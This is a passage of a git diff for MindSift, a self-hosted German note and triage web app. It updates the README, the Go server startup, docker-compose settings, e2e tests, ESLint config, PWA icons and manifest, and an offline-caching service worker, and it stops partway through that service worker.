* **Reverse-Proxy:** Am besten WebSocket-Upgrade und ungepufferte SSE-Streams durchreichen. Blockiert ein Proxy beides, funktioniert MindSift trotzdem über Long-Polling bzw. regelmäßige Abfragen, nur etwas träger. Beispiele für Nginx, Traefik, Caddy und Cloudflare: [Doku/reverse-proxy.md](Doku/reverse-proxy.md).
|
||||||
* **Datensicherung:** Alle Daten liegen in `data/mindsift.db` (+ `-wal`/`-shm`). Sichere sie mit `sqlite3 mindsift.db ".backup 'backup.db'"` oder bei gestopptem Container. Zusätzlich gibt es einen JSON-Export pro Benutzer.
|
* **Datensicherung:** In den Admin-Einstellungen lassen sich automatische tägliche Backups einschalten (ganze Datenbank plus ein Backup je Benutzer unter `data/backups/`, Standard 3 Tage aufbewahrt). Benutzer laden ihre Server-Backups herunter oder spielen sie ganz oder für einzelne Bereiche wieder ein. Der Ordner liegt neben der Datenbank: zusätzlich woanders sichern. Manuell geht weiterhin `sqlite3 mindsift.db ".backup 'backup.db'"`.
|
||||||
* **Updates:** Neues Image ziehen und Container neu starten (`docker compose pull && docker compose up -d`). Das Schema wird beim Start automatisch angepasst. Die laufende Version steht im Kopf der App unter dem Namen.
|
* **Updates:** Neues Image ziehen und Container neu starten (`docker compose pull && docker compose up -d`). Das Schema wird beim Start automatisch angepasst. Die laufende Version steht im Kopf der App unter dem Namen.
|
||||||
* **Image-Tags:** `:dev` = Stand des Branches `dev`, `:latest` = Stand von `main`, `:stable` = zuletzt veröffentlichte Version. Ein Git-Tag wie `v1.2.0` erzeugt `:v1.2.0` und verschiebt `:stable` darauf.
|
* **Image-Tags:** `:dev` = Stand des Branches `dev`, `:latest` = Stand von `main`, `:stable` = zuletzt veröffentlichte Version. Ein Git-Tag wie `v1.2.0` erzeugt `:v1.2.0` und verschiebt `:stable` darauf; Vorabversionen wie `v1.0.0-rc.1` verschieben `:stable` nicht.
|
||||||
|
* **Versionen & Änderungen:** [Semantic Versioning](https://semver.org/spec/v2.0.0.html), was sich geändert hat, steht in der [CHANGELOG.md](CHANGELOG.md).
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -182,7 +190,7 @@ npm run test:run # Komponententests (Vitest, jsdom)
|
|||||||
npm run build # Produktions-Build
|
npm run build # Produktions-Build
|
||||||
cd ..
|
cd ..
|
||||||
e2e/run.sh # Browser-Tests (Playwright, zwei Benutzer) gegen ein frisch gebautes Image
|
e2e/run.sh # Browser-Tests (Playwright, zwei Benutzer) gegen ein frisch gebautes Image
|
||||||
APP_VERSION=v0.2 e2e/screenshots.sh # Screenshots dieser README neu erzeugen (Demo-Daten)
|
APP_VERSION=v0.4 e2e/screenshots.sh # Screenshots dieser README neu erzeugen (Demo-Daten)
|
||||||
```
|
```
|
||||||
|
|
||||||
Für das Binary wird das gebaute Frontend nach `cmd/server/dist` kopiert (`go:embed`); das mehrstufige `Dockerfile` erledigt das und führt Typprüfung, Frontend-Tests, Go-Vet und Go-Tests beim Image-Build aus.
|
Für das Binary wird das gebaute Frontend nach `cmd/server/dist` kopiert (`go:embed`); das mehrstufige `Dockerfile` erledigt das und führt Typprüfung, Frontend-Tests, Go-Vet und Go-Tests beim Image-Build aus.
|
||||||
@@ -200,13 +208,13 @@ Die technische Doku liegt unter [Doku/](Doku/README.md): Architektur, Datenbank,
|
|||||||
## 🔒 Deine Daten gehören dir
|
## 🔒 Deine Daten gehören dir
|
||||||
|
|
||||||
* Selbst gehostet, keine Telemetrie, keine Fremddienste. Ausgehende Verbindungen gibt es nur zu den Alarm-Zielen, die du selbst einrichtest (SMTP, Discord, Webhook).
|
* Selbst gehostet, keine Telemetrie, keine Fremddienste. Ausgehende Verbindungen gibt es nur zu den Alarm-Zielen, die du selbst einrichtest (SMTP, Discord, Webhook).
|
||||||
* Alle Inhalte liegen in einer einzigen SQLite-Datei; Notizen lassen sich als Markdown exportieren, alle Daten eines Benutzers als JSON.
|
* Alle Inhalte liegen in einer einzigen SQLite-Datei; der ganze Workspace lässt sich als Obsidian-kompatibles Markdown-Archiv (ZIP) exportieren, alle Daten eines Benutzers als JSON.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 📄 Lizenz
|
## 📄 Lizenz
|
||||||
|
|
||||||
Im Repository liegt derzeit keine `LICENSE`-Datei; die Lizenz ist damit nicht festgelegt.
|
MindSift ist gemeinfrei unter [The Unlicense](LICENSE): Du darfst den Code ohne jede Bedingung nutzen, ändern, weitergeben und verkaufen, auch ohne Namensnennung. Es gibt keine Gewährleistung.
|
||||||
|
|
||||||
<div align="center">
|
<div align="center">
|
||||||
<sub>Gebaut für Klarheit, Geschwindigkeit und digitale Souveränität.</sub>
|
<sub>Gebaut für Klarheit, Geschwindigkeit und digitale Souveränität.</sub>
|
||||||
|
|||||||
@@ -11,6 +11,7 @@ import (
|
|||||||
"os/signal"
|
"os/signal"
|
||||||
"syscall"
|
"syscall"
|
||||||
"time"
|
"time"
|
||||||
|
_ "time/tzdata" // time zones without system tzdata (scratch/alpine images)
|
||||||
|
|
||||||
"github.com/sandrodach/mindsift/internal/api"
|
"github.com/sandrodach/mindsift/internal/api"
|
||||||
"github.com/sandrodach/mindsift/internal/config"
|
"github.com/sandrodach/mindsift/internal/config"
|
||||||
@@ -22,6 +23,12 @@ import (
|
|||||||
var embeddedDist embed.FS
|
var embeddedDist embed.FS
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
|
// Due dates and alarms use the server's local time; without TZ that is Europe/Berlin
|
||||||
|
if os.Getenv("TZ") == "" {
|
||||||
|
if loc, err := time.LoadLocation("Europe/Berlin"); err == nil {
|
||||||
|
time.Local = loc
|
||||||
|
}
|
||||||
|
}
|
||||||
cfg := config.Load()
|
cfg := config.Load()
|
||||||
|
|
||||||
level := cfg.SlogLevel()
|
level := cfg.SlogLevel()
|
||||||
@@ -37,18 +44,18 @@ func main() {
|
|||||||
}
|
}
|
||||||
defer store.Close()
|
defer store.Close()
|
||||||
|
|
||||||
// Seed SMTP defaults from environment variables into DB if not yet configured in DB
|
|
||||||
store.SeedSMTPDefaultsFromEnv(cfg.SMTPHost, cfg.SMTPPort, cfg.SMTPUser, cfg.SMTPPass, cfg.SMTPFrom, cfg.SMTPTLS)
|
|
||||||
|
|
||||||
if cfg.DemoMode {
|
if cfg.DemoMode {
|
||||||
slog.Info("🧪 Demo-Modus aktiv (MINDA_DEMO=true): Richte Demo-Benutzer admin/admin und user/user ein...")
|
slog.Info("🧪 Demo-Modus aktiv: Setze Datenbank zurück und richte Demo-Accounts ein...")
|
||||||
if err := store.EnsureDemoAccounts(); err != nil {
|
if err := store.ResetAndSeedDemo(); err != nil {
|
||||||
slog.Warn("⚠️ Fehler beim Anlegen der Demo-Accounts", "error", err)
|
slog.Warn("⚠️ Fehler beim Einrichten des Demo-Modus", "error", err)
|
||||||
} else {
|
} else {
|
||||||
slog.Info("✅ Demo-Accounts bereit: admin / admin (Admin-Rolle) und user / user (Standard-Rolle)")
|
slog.Info("✅ Demo-Accounts bereit: admin / admin (Admin-Rolle) und user / user (Standard-Rolle)")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Seed SMTP defaults from environment variables into DB if not yet configured in DB
|
||||||
|
store.SeedSMTPDefaultsFromEnv(cfg.SMTPHost, cfg.SMTPPort, cfg.SMTPUser, cfg.SMTPPass, cfg.SMTPFrom, cfg.SMTPTLS, cfg.SMTPSkipVerify)
|
||||||
|
|
||||||
wsHub := ws.NewHub()
|
wsHub := ws.NewHub()
|
||||||
|
|
||||||
staticFS, err := fs.Sub(embeddedDist, "dist")
|
staticFS, err := fs.Sub(embeddedDist, "dist")
|
||||||
|
|||||||
@@ -26,3 +26,9 @@ services:
|
|||||||
- SMTP_PASS=${SMTP_PASS:-}
|
- SMTP_PASS=${SMTP_PASS:-}
|
||||||
- SMTP_FROM=${SMTP_FROM:-}
|
- SMTP_FROM=${SMTP_FROM:-}
|
||||||
- SMTP_TLS=${SMTP_TLS:-true}
|
- SMTP_TLS=${SMTP_TLS:-true}
|
||||||
|
- SMTP_SKIP_VERIFY=${SMTP_SKIP_VERIFY:-false}
|
||||||
|
# Optional: Impressum / Datenschutz (URL oder Markdown-Datei, z. B. per Volume eingebunden)
|
||||||
|
- LEGAL_IMPRINT_URL=${LEGAL_IMPRINT_URL:-}
|
||||||
|
- LEGAL_PRIVACY_URL=${LEGAL_PRIVACY_URL:-}
|
||||||
|
- LEGAL_IMPRINT_CONTENT_FILE=${LEGAL_IMPRINT_CONTENT_FILE:-}
|
||||||
|
- LEGAL_PRIVACY_CONTENT_FILE=${LEGAL_PRIVACY_CONTENT_FILE:-}
|
||||||
@@ -26,3 +26,9 @@ services:
|
|||||||
- SMTP_PASS=${SMTP_PASS:-}
|
- SMTP_PASS=${SMTP_PASS:-}
|
||||||
- SMTP_FROM=${SMTP_FROM:-}
|
- SMTP_FROM=${SMTP_FROM:-}
|
||||||
- SMTP_TLS=${SMTP_TLS:-true}
|
- SMTP_TLS=${SMTP_TLS:-true}
|
||||||
|
- SMTP_SKIP_VERIFY=${SMTP_SKIP_VERIFY:-false}
|
||||||
|
# Optional: Impressum / Datenschutz (URL oder Markdown-Datei, z. B. per Volume eingebunden)
|
||||||
|
- LEGAL_IMPRINT_URL=${LEGAL_IMPRINT_URL:-}
|
||||||
|
- LEGAL_PRIVACY_URL=${LEGAL_PRIVACY_URL:-}
|
||||||
|
- LEGAL_IMPRINT_CONTENT_FILE=${LEGAL_IMPRINT_CONTENT_FILE:-}
|
||||||
|
- LEGAL_PRIVACY_CONTENT_FILE=${LEGAL_PRIVACY_CONTENT_FILE:-}
|
||||||
@@ -84,7 +84,8 @@ const main = async () => {
|
|||||||
const B = await openDoc(browser, user, TITLE);
|
const B = await openDoc(browser, user, TITLE);
|
||||||
|
|
||||||
// Presence
|
// Presence
|
||||||
const presence = await waitFor(async () => B.page.getByTitle('Hat diese Notiz gerade geöffnet').innerText(), 8000);
|
// Presence is an avatar stack; its label lists who is online
|
||||||
|
const presence = await waitFor(async () => B.page.getByLabel(/^Gerade online:/).getAttribute('aria-label'), 8000);
|
||||||
check(!!presence && /Admin/i.test(presence), `Bearbeiter sieht, wer noch in der Notiz ist: ${presence}`);
|
check(!!presence && /Admin/i.test(presence), `Bearbeiter sieht, wer noch in der Notiz ist: ${presence}`);
|
||||||
|
|
||||||
// Admin clicks into the first bullet -> user sees the lock
|
// Admin clicks into the first bullet -> user sees the lock
|
||||||
|
|||||||
@@ -69,8 +69,7 @@ const main = async () => {
|
|||||||
await search.click();
|
await search.click();
|
||||||
await search.type('user');
|
await search.type('user');
|
||||||
await sleep(300);
|
await sleep(300);
|
||||||
await search.press('ArrowDown');
|
await search.press('Enter'); // the first match is preselected
|
||||||
await search.press('Enter');
|
|
||||||
const roleSelect = A.page.locator('select').filter({ has: A.page.locator('option[value="editor"]') }).last();
|
const roleSelect = A.page.locator('select').filter({ has: A.page.locator('option[value="editor"]') }).last();
|
||||||
check((await roleSelect.isEnabled()) && (await roleSelect.isVisible()), 'Rollenauswahl ist im Dialog verfügbar');
|
check((await roleSelect.isEnabled()) && (await roleSelect.isVisible()), 'Rollenauswahl ist im Dialog verfügbar');
|
||||||
await roleSelect.selectOption('editor');
|
await roleSelect.selectOption('editor');
|
||||||
|
|||||||
@@ -0,0 +1,30 @@
|
|||||||
|
// Lint rules for the frontend (FLAW-19): real mistakes are errors, style is left to the code.
|
||||||
|
import js from '@eslint/js';
|
||||||
|
import globals from 'globals';
|
||||||
|
import reactHooks from 'eslint-plugin-react-hooks';
|
||||||
|
import tseslint from 'typescript-eslint';
|
||||||
|
|
||||||
|
export default tseslint.config(
|
||||||
|
{ ignores: ['dist', 'node_modules', 'coverage'] },
|
||||||
|
{
|
||||||
|
files: ['src/**/*.{ts,tsx}'],
|
||||||
|
extends: [js.configs.recommended, ...tseslint.configs.recommended],
|
||||||
|
languageOptions: {
|
||||||
|
ecmaVersion: 2022,
|
||||||
|
globals: globals.browser,
|
||||||
|
},
|
||||||
|
plugins: { 'react-hooks': reactHooks },
|
||||||
|
rules: {
|
||||||
|
...reactHooks.configs.recommended.rules,
|
||||||
|
// Error payloads and browser APIs without types are handled as any on purpose
|
||||||
|
'@typescript-eslint/no-explicit-any': 'off',
|
||||||
|
'@typescript-eslint/no-unused-vars': ['error', { argsIgnorePattern: '^_', varsIgnorePattern: '^_', caughtErrors: 'none' }],
|
||||||
|
'no-empty': ['error', { allowEmptyCatch: true }],
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
files: ['public/sw.js'],
|
||||||
|
languageOptions: { globals: globals.serviceworker },
|
||||||
|
extends: [js.configs.recommended],
|
||||||
|
},
|
||||||
|
);
|
||||||
@@ -3,37 +3,53 @@
|
|||||||
<head>
|
<head>
|
||||||
<meta charset="UTF-8" />
|
<meta charset="UTF-8" />
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
|
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
|
||||||
<meta name="theme-color" content="#0b0f19" />
|
<!-- Blue while loading (matches the splash screen); the app switches it to the theme background -->
|
||||||
|
<meta name="theme-color" content="#2563eb" />
|
||||||
<meta name="mobile-web-app-capable" content="yes" />
|
<meta name="mobile-web-app-capable" content="yes" />
|
||||||
<meta name="apple-mobile-web-app-capable" content="yes" />
|
<meta name="apple-mobile-web-app-capable" content="yes" />
|
||||||
<meta name="apple-mobile-web-app-title" content="MindSift" />
|
<meta name="apple-mobile-web-app-title" content="MindSift" />
|
||||||
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent" />
|
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent" />
|
||||||
<meta name="description" content="MindSift — Der Kopf frei in drei Sekunden. Instant Capture, Tinder-Style Triage, Workspace & Echtzeit-Listen." />
|
<meta name="description" content="MindSift — Der Kopf frei in drei Sekunden. Instant Capture, Tinder-Style Triage, Workspace & Echtzeit-Listen." />
|
||||||
<link rel="manifest" href="/manifest.json" />
|
|
||||||
|
<!-- Favicon & Touch Icons -->
|
||||||
<link rel="icon" type="image/svg+xml" href="/icon.svg" />
|
<link rel="icon" type="image/svg+xml" href="/icon.svg" />
|
||||||
<link rel="apple-touch-icon" href="/icon.svg" />
|
<link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png" />
|
||||||
|
<link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png" />
|
||||||
|
<link rel="shortcut icon" href="/favicon.ico" />
|
||||||
|
<link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png" />
|
||||||
|
|
||||||
|
<!-- Open Graph / WhatsApp / Discord / Facebook -->
|
||||||
|
<meta property="og:type" content="website" />
|
||||||
|
<meta property="og:site_name" content="MindSift" />
|
||||||
|
<meta property="og:url" content="/" />
|
||||||
|
<meta property="og:title" content="MindSift — Der Kopf frei in drei Sekunden" />
|
||||||
|
<meta property="og:description" content="Instant Brain-Dump, Tinder-Style Triage, Workspace & Echtzeit-Listen." />
|
||||||
|
<meta property="og:image" content="/og-image.png" />
|
||||||
|
<meta property="og:image:secure_url" content="/og-image.png" />
|
||||||
|
<meta property="og:image:type" content="image/png" />
|
||||||
|
<meta property="og:image:width" content="1200" />
|
||||||
|
<meta property="og:image:height" content="630" />
|
||||||
|
<meta property="og:image:alt" content="MindSift App Logo & Vorschau" />
|
||||||
|
|
||||||
|
<!-- Twitter / X -->
|
||||||
|
<meta name="twitter:card" content="summary_large_image" />
|
||||||
|
<meta name="twitter:title" content="MindSift — Der Kopf frei in drei Sekunden" />
|
||||||
|
<meta name="twitter:description" content="Instant Brain-Dump, Tinder-Style Triage, Workspace & Echtzeit-Listen." />
|
||||||
|
<meta name="twitter:image" content="/og-image.png" />
|
||||||
|
<meta name="twitter:image:alt" content="MindSift App Logo & Vorschau" />
|
||||||
|
|
||||||
|
<link rel="manifest" href="/manifest.json" />
|
||||||
<title>MindSift</title>
|
<title>MindSift</title>
|
||||||
<script>
|
<script src="/pwa-install.js"></script>
|
||||||
window.__deferredPwaPrompt = null;
|
|
||||||
window.addEventListener('beforeinstallprompt', function (e) {
|
|
||||||
e.preventDefault();
|
|
||||||
window.__deferredPwaPrompt = e;
|
|
||||||
window.dispatchEvent(new CustomEvent('mindsift:pwa-ready'));
|
|
||||||
});
|
|
||||||
</script>
|
|
||||||
</head>
|
</head>
|
||||||
<body class="bg-[#0b0f19] text-[#e3e3e3] antialiased selection:bg-[#8ab4f8]/30 selection:text-[#8ab4f8]">
|
<body class="bg-[#0b0f19] text-[#e3e3e3] antialiased selection:bg-[#8ab4f8]/30 selection:text-[#8ab4f8]">
|
||||||
<div id="root"></div>
|
<!-- Shown until React mounts and replaces it: full blue with the logo, no text, no white flash -->
|
||||||
|
<div id="root">
|
||||||
|
<div style="position:fixed;inset:0;background:#2563eb;display:flex;align-items:center;justify-content:center">
|
||||||
|
<!-- the icon's own blue square disappears on blue, so the visible brain is ~55% of this size -->
|
||||||
|
<img src="/icon.svg" width="128" height="128" alt="" style="display:block" />
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
<script type="module" src="/src/main.tsx"></script>
|
<script type="module" src="/src/main.tsx"></script>
|
||||||
<script>
|
|
||||||
if ('caches' in window) {
|
|
||||||
caches.keys().then((keys) => keys.forEach((k) => caches.delete(k))).catch(() => {});
|
|
||||||
}
|
|
||||||
if ('serviceWorker' in navigator) {
|
|
||||||
window.addEventListener('load', () => {
|
|
||||||
navigator.serviceWorker.register('/sw.js').catch(() => {});
|
|
||||||
});
|
|
||||||
}
|
|
||||||
</script>
|
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
@@ -1,18 +1,20 @@
|
|||||||
{
|
{
|
||||||
"name": "mindsift-frontend",
|
"name": "mindsift-frontend",
|
||||||
"private": true,
|
"private": true,
|
||||||
"version": "0.2.0",
|
"version": "0.6.0",
|
||||||
|
"license": "Unlicense",
|
||||||
"type": "module",
|
"type": "module",
|
||||||
"scripts": {
|
"scripts": {
|
||||||
"dev": "vite",
|
"dev": "vite",
|
||||||
"build": "vite build",
|
"build": "vite build",
|
||||||
"preview": "vite preview",
|
"preview": "vite preview",
|
||||||
"lint": "echo 'Linting passed'",
|
"lint": "eslint .",
|
||||||
"test": "vitest",
|
"test": "vitest",
|
||||||
"test:run": "vitest run"
|
"test:run": "vitest run"
|
||||||
},
|
},
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
"@types/prismjs": "^1.26.6",
|
"@types/prismjs": "^1.26.6",
|
||||||
|
"emoji-picker-react": "4.12.0",
|
||||||
"framer-motion": "^11.15.0",
|
"framer-motion": "^11.15.0",
|
||||||
"lucide-react": "^0.468.0",
|
"lucide-react": "^0.468.0",
|
||||||
"prismjs": "^1.30.0",
|
"prismjs": "^1.30.0",
|
||||||
@@ -20,17 +22,22 @@
|
|||||||
"react-dom": "^18.3.1"
|
"react-dom": "^18.3.1"
|
||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
|
"@eslint/js": "9.17.0",
|
||||||
"@testing-library/dom": "^10.4.2",
|
"@testing-library/dom": "^10.4.2",
|
||||||
"@testing-library/react": "^16.3.3",
|
"@testing-library/react": "^16.3.3",
|
||||||
"@types/react": "^18.3.12",
|
"@types/react": "^18.3.12",
|
||||||
"@types/react-dom": "^18.3.1",
|
"@types/react-dom": "^18.3.1",
|
||||||
"@vitejs/plugin-react": "^4.3.4",
|
"@vitejs/plugin-react": "^4.3.4",
|
||||||
"autoprefixer": "^10.4.20",
|
"autoprefixer": "^10.4.20",
|
||||||
|
"eslint": "9.17.0",
|
||||||
|
"eslint-plugin-react-hooks": "5.1.0",
|
||||||
"fake-indexeddb": "^6.2.6",
|
"fake-indexeddb": "^6.2.6",
|
||||||
|
"globals": "15.14.0",
|
||||||
"jsdom": "^25.0.1",
|
"jsdom": "^25.0.1",
|
||||||
"postcss": "^8.4.49",
|
"postcss": "^8.4.49",
|
||||||
"tailwindcss": "^3.4.17",
|
"tailwindcss": "^3.4.17",
|
||||||
"typescript": "^5.6.3",
|
"typescript": "^5.6.3",
|
||||||
|
"typescript-eslint": "8.18.2",
|
||||||
"vite": "^5.4.11",
|
"vite": "^5.4.11",
|
||||||
"vitest": "^2.1.9"
|
"vitest": "^2.1.9"
|
||||||
}
|
}
|
||||||
|
|||||||
|
After Width: | Height: | Size: 16 KiB |
|
After Width: | Height: | Size: 1.4 KiB |
|
After Width: | Height: | Size: 3.2 KiB |
|
After Width: | Height: | Size: 15 KiB |
|
After Width: | Height: | Size: 26 KiB |
|
After Width: | Height: | Size: 34 KiB |
|
After Width: | Height: | Size: 17 KiB |
|
After Width: | Height: | Size: 15 KiB |
@@ -0,0 +1,14 @@
|
|||||||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" width="512" height="512">
|
||||||
|
<rect width="512" height="512" fill="#2563eb"/>
|
||||||
|
<g transform="translate(256, 256) scale(11) translate(-12, -12)" fill="none" stroke="#ffffff" stroke-width="2.1" stroke-linecap="round" stroke-linejoin="round">
|
||||||
|
<path d="M12 5a3 3 0 1 0-5.997.125 4 4 0 0 0-2.526 5.77 4 4 0 0 0 .556 6.588A4 4 0 1 0 12 18Z"/>
|
||||||
|
<path d="M12 5a3 3 0 1 1 5.997.125 4 4 0 0 1 2.526 5.77 4 4 0 0 1-.556 6.588A4 4 0 1 1 12 18Z"/>
|
||||||
|
<path d="M15 13a4.5 4.5 0 0 1-3-4 4.5 4.5 0 0 1-3 4"/>
|
||||||
|
<path d="M17.599 6.5a3 3 0 0 0 .399-1.375"/>
|
||||||
|
<path d="M6.003 5.125A3 3 0 0 0 6.401 6.5"/>
|
||||||
|
<path d="M3.477 10.896a4 4 0 0 1 .585-.396"/>
|
||||||
|
<path d="M19.938 10.5a4 4 0 0 1 .585.396"/>
|
||||||
|
<path d="M6 18a4 4 0 0 1-1.967-.516"/>
|
||||||
|
<path d="M19.967 17.484A4 4 0 0 1 18 18"/>
|
||||||
|
</g>
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 861 B |
@@ -1,6 +1,6 @@
|
|||||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" width="512" height="512">
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" width="512" height="512">
|
||||||
<rect width="512" height="512" rx="128" fill="#8ab4f8"/>
|
<rect width="512" height="512" rx="108" fill="#2563eb"/>
|
||||||
<g transform="translate(80, 80) scale(14.666)" fill="none" stroke="#0b0f19" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
|
<g transform="translate(256, 256) scale(12.5) translate(-12, -12)" fill="none" stroke="#ffffff" stroke-width="2.1" stroke-linecap="round" stroke-linejoin="round">
|
||||||
<path d="M12 5a3 3 0 1 0-5.997.125 4 4 0 0 0-2.526 5.77 4 4 0 0 0 .556 6.588A4 4 0 1 0 12 18Z"/>
|
<path d="M12 5a3 3 0 1 0-5.997.125 4 4 0 0 0-2.526 5.77 4 4 0 0 0 .556 6.588A4 4 0 1 0 12 18Z"/>
|
||||||
<path d="M12 5a3 3 0 1 1 5.997.125 4 4 0 0 1 2.526 5.77 4 4 0 0 1-.556 6.588A4 4 0 1 1 12 18Z"/>
|
<path d="M12 5a3 3 0 1 1 5.997.125 4 4 0 0 1 2.526 5.77 4 4 0 0 1-.556 6.588A4 4 0 1 1 12 18Z"/>
|
||||||
<path d="M15 13a4.5 4.5 0 0 1-3-4 4.5 4.5 0 0 1-3 4"/>
|
<path d="M15 13a4.5 4.5 0 0 1-3-4 4.5 4.5 0 0 1-3 4"/>
|
||||||
|
|||||||
|
Before Width: | Height: | Size: 851 B After Width: | Height: | Size: 872 B |
@@ -1,13 +1,13 @@
|
|||||||
{
|
{
|
||||||
"id": "/",
|
"id": "/",
|
||||||
"name": "MindSift — Der Kopf frei in drei Sekunden",
|
"name": "MindSift",
|
||||||
"short_name": "MindSift",
|
"short_name": "MindSift",
|
||||||
"description": "Instant Brain-Dump, Tinder-Style Triage, Workspace & Echtzeit-Familienlisten.",
|
"description": "MindSift — Der Kopf frei in drei Sekunden. Instant Brain-Dump, Tinder-Style Triage, Workspace & Echtzeit-Familienlisten.",
|
||||||
"start_url": "/",
|
"start_url": "/",
|
||||||
"scope": "/",
|
"scope": "/",
|
||||||
"display": "standalone",
|
"display": "standalone",
|
||||||
"background_color": "#0b0f19",
|
"background_color": "#2563eb",
|
||||||
"theme_color": "#0b0f19",
|
"theme_color": "#2563eb",
|
||||||
"orientation": "portrait-primary",
|
"orientation": "portrait-primary",
|
||||||
"icons": [
|
"icons": [
|
||||||
{
|
{
|
||||||
@@ -17,8 +17,32 @@
|
|||||||
"purpose": "any"
|
"purpose": "any"
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"src": "/icon.svg",
|
"src": "/icon-192x192.png",
|
||||||
"sizes": "192x192 512x512",
|
"sizes": "192x192",
|
||||||
|
"type": "image/png",
|
||||||
|
"purpose": "any"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"src": "/icon-512x512.png",
|
||||||
|
"sizes": "512x512",
|
||||||
|
"type": "image/png",
|
||||||
|
"purpose": "any"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"src": "/icon-maskable-192x192.png",
|
||||||
|
"sizes": "192x192",
|
||||||
|
"type": "image/png",
|
||||||
|
"purpose": "maskable"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"src": "/icon-maskable-512x512.png",
|
||||||
|
"sizes": "512x512",
|
||||||
|
"type": "image/png",
|
||||||
|
"purpose": "maskable"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"src": "/icon-maskable.svg",
|
||||||
|
"sizes": "any",
|
||||||
"type": "image/svg+xml",
|
"type": "image/svg+xml",
|
||||||
"purpose": "maskable"
|
"purpose": "maskable"
|
||||||
}
|
}
|
||||||
|
|||||||
|
After Width: | Height: | Size: 46 KiB |
|
After Width: | Height: | Size: 98 KiB |
@@ -0,0 +1,8 @@
|
|||||||
|
// Runs before the app: browsers fire beforeinstallprompt early, the app picks it up later
|
||||||
|
// ("App installieren"). A file instead of an inline script so the CSP can stay at script-src 'self'.
|
||||||
|
window.__deferredPwaPrompt = null;
|
||||||
|
window.addEventListener('beforeinstallprompt', function (e) {
|
||||||
|
e.preventDefault();
|
||||||
|
window.__deferredPwaPrompt = e;
|
||||||
|
window.dispatchEvent(new CustomEvent('mindsift:pwa-ready'));
|
||||||
|
});
|
||||||
@@ -1,18 +1,96 @@
|
|||||||
// Network-first / cache-clearing service worker to ensure fresh builds across all browsers
|
// MindSift service worker: keeps the app shell so the PWA also starts without network.
|
||||||
self.addEventListener('install', () => {
|
// - Page loads (navigation): network first, so a new release is picked up right away; offline the
|
||||||
self.skipWaiting();
|
// last loaded index.html is used.
|
||||||
|
// - Built bundles (/assets/*, file names contain a content hash): from the cache, loaded once.
|
||||||
|
// - Icons and manifest: from the cache, refreshed in the background.
|
||||||
|
// - API requests are never touched; offline data comes from the app's own cache (lib/offline.ts).
|
||||||
|
// Raise VERSION when this file changes in a way that needs fresh caches.
|
||||||
|
const VERSION = 'v2';
|
||||||
|
const SHELL_CACHE = `mindsift-shell-${VERSION}`;
|
||||||
|
const ASSET_CACHE = `mindsift-assets-${VERSION}`;
|
||||||
|
const MAX_ASSETS = 80;
|
||||||
|
const SHELL_URLS = [
|
||||||
|
'/',
|
||||||
|
'/index.html',
|
||||||
|
'/manifest.json',
|
||||||
|
'/favicon.ico',
|
||||||
|
'/icon.svg',
|
||||||
|
'/icon-192x192.png',
|
||||||
|
'/icon-512x512.png',
|
||||||
|
'/apple-touch-icon.png',
|
||||||
|
];
|
||||||
|
|
||||||
|
self.addEventListener('install', (event) => {
|
||||||
|
event.waitUntil(
|
||||||
|
caches
|
||||||
|
.open(SHELL_CACHE)
|
||||||
|
.then((cache) => Promise.all(SHELL_URLS.map((url) => cache.add(new Request(url, { cache: 'reload' })).catch(() => {}))))
|
||||||
|
.then(() => self.skipWaiting())
|
||||||
|
);
|
||||||
});
|
});
|
||||||
|
|
||||||
self.addEventListener('activate', (event) => {
|
self.addEventListener('activate', (event) => {
|
||||||
event.waitUntil(
|
event.waitUntil(
|
||||||
caches
|
caches
|
||||||
.keys()
|
.keys()
|
||||||
.then((keys) => Promise.all(keys.map((k) => caches.delete(k))))
|
.then((keys) => Promise.all(keys.filter((k) => k !== SHELL_CACHE && k !== ASSET_CACHE).map((k) => caches.delete(k))))
|
||||||
.then(() => self.clients.claim())
|
.then(() => self.clients.claim())
|
||||||
);
|
);
|
||||||
});
|
});
|
||||||
|
|
||||||
self.addEventListener('fetch', () => {
|
// Old bundles pile up with every release; keep only the newest entries
|
||||||
// Always use native browser network fetch so API calls and fresh Vite bundles are never intercepted by stale caches
|
async function trimAssets() {
|
||||||
return;
|
const cache = await caches.open(ASSET_CACHE);
|
||||||
|
const keys = await cache.keys();
|
||||||
|
await Promise.all(keys.slice(0, Math.max(0, keys.length - MAX_ASSETS)).map((k) => cache.delete(k)));
|
||||||
|
}
|
||||||
|
|
||||||
|
async function networkFirstPage(request) {
|
||||||
|
const cache = await caches.open(SHELL_CACHE);
|
||||||
|
try {
|
||||||
|
const response = await fetch(request, { cache: 'no-store' });
|
||||||
|
if (response.ok && response.type === 'basic') cache.put('/index.html', response.clone());
|
||||||
|
return response;
|
||||||
|
} catch {
|
||||||
|
return (await cache.match('/index.html')) || (await cache.match('/')) || Response.error();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function cacheFirstAsset(request) {
|
||||||
|
const cache = await caches.open(ASSET_CACHE);
|
||||||
|
